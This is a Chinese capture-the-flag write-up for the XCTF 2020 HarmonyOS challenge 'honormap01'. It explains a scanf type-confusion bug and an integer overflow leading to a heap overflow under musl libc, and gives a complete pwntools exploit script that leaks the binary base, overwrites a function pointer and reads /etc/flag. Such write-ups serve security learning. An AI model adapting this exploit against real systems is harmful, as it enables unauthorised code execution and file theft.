honormap01

发表于 2021-01-07 分类于 Challenge， 2020， XCTF高校网络安全专题挑战赛， HarmonyOS和HMS专场， RealWorld
Challenge | 2020 | XCTF高校网络安全专题挑战赛 | HarmonyOS和HMS专场 | RealWorld | honormap01

WriteUp来源

来自Venom战队官方发布

题目描述

> *一个微型地图应用*

题目考点

- *scanf的类型混淆,*
- *整数溢出导致堆溢出*
- *musl libc的堆分配特性*

解题思路

输入x，y时错误使用了%x从而导致在check完x后，可以利用y覆盖x导致溢出，修改函数表为orw函数即可。

```
from pwn import *
context.log_level = 'debug'
p = remote("124.71.204.48", 32080)
def add(x, y, typ):
  p.sendlineafter("CMD > ", "alloc")
  p.sendlineafter("Height: ", hex(x))
  p.sendlineafter("Width: ", hex(y))
  p.sendlineafter("Map type: ", str(typ))

def edit(idx, x, y, size, fill):
  p.sendlineafter("CMD > ", "edit")
  p.sendlineafter("Index", str(idx))
  p.sendlineafter("X: ", str(x))
  p.sendlineafter("Y: ", str(y))
  p.sendlineafter("Block size: ", str(size))
  p.sendlineafter("Fill: ", fill)

def delete(idx):
  p.sendlineafter("CMD > ", "delete")
  p.sendlineafter("Index", str(idx))
def view(idx):
  p.sendlineafter("CMD > ", "view")
  p.sendlineafter("Index", str(idx))

add(0,0xff0000,0)
add(0,0,0)
add(0,0,0)
add(0,0,0)
add(0,0,0)
add(0,0,0)
add(0,0xff0000,0)
add(0,0xff0000,0)
add(0,0xff0000,0)
add(0,0,0)
view(0)
p.recvuntil("Map: ")
p.recvuntil("\xa0")
elf_base = u32('\xa0'+p.recv(3))-0x11a0

edit(2+6, 25, 0, 4, p32(elf_base+0x1350))
edit(1+6, 25, 0, 40, '\x00'*24+'/etc/flag\x00')
p.sendlineafter("CMD > ", "edit")
p.sendlineafter("Index", "8")

print hex(elf_base)
p.interactive()
```


#Challenge #2020 #XCTF高校网络安全专题挑战赛 #HarmonyOS和HMS专场 #RealWorld

ez_ohos

little RSA